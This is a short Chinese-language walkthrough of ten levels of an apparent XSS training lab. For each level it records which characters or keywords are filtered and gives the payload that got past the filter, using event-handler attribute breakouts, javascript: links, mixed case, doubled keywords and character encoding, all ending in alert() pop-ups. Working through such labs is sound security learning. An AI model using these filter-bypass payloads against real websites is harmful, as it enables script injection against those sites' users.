第一关
说长度为4,<script>语句输入会溢出,所以改payload就可以
第二关
发现在双引号和>内,只要注释掉就好了
第三关
查看源代码发现是单引号闭合且<>会被转义,所以就不能用带尖括号的语句
' οnfοcus='alert(123)' 触发on事件
第四关
"<'1'>" 尝试看是否会被过滤
发现被双引号包裹且在尖括号内,输入的尖括号会被过滤 ,所以要用之前的方法
">οnfοcus='alert(111)'
第五关
输入测试语句
'<"1">'
发现双引号和尖括号闭合 且给script做了过滤
"><a href=javascript:alert(1)>click me</a>
新建了a 标签发现没有对JavaScript过滤
第六关
用了上一关语句尝试发现对href做了过滤
尝试用大小写过滤
"><a hReF=javascript:alert(1)>click me</a>
成功!
第七关
发现把script过滤了,于是用双写绕过试试看
"><scrscriptipt>alert(1)</scrscriptipt>
第八关
观察发现对script、onfocus和双引号过滤
输入点在标签里,所以构造新属性就行了
javascript:alert(1) 利用在线工具进行Unicode编码后得到,在线编码器
javascript:alert(1)
因为href可以解析Unicode编码
第九关
先用"><script>alert(1)</script>尝试看,发现<>"都被过滤掉了,所以还是用编码的形式
用了编码发现还是不行,查看源码
发现必须要加http://
构造语句
javascript:alert(1)//http://www.baidu.com
要给http注释一下不然不会弹窗
第十关
输入"<'script'>"\尝试发现<>"都被过滤,并且在标签外面可以自己构造标签
查看源代码发现 过滤了<>",可以用on事件,得用get传参,传参点用t_sort,类型改成text
?t_sort=" οnfοcus=javascript:alert(1) type="text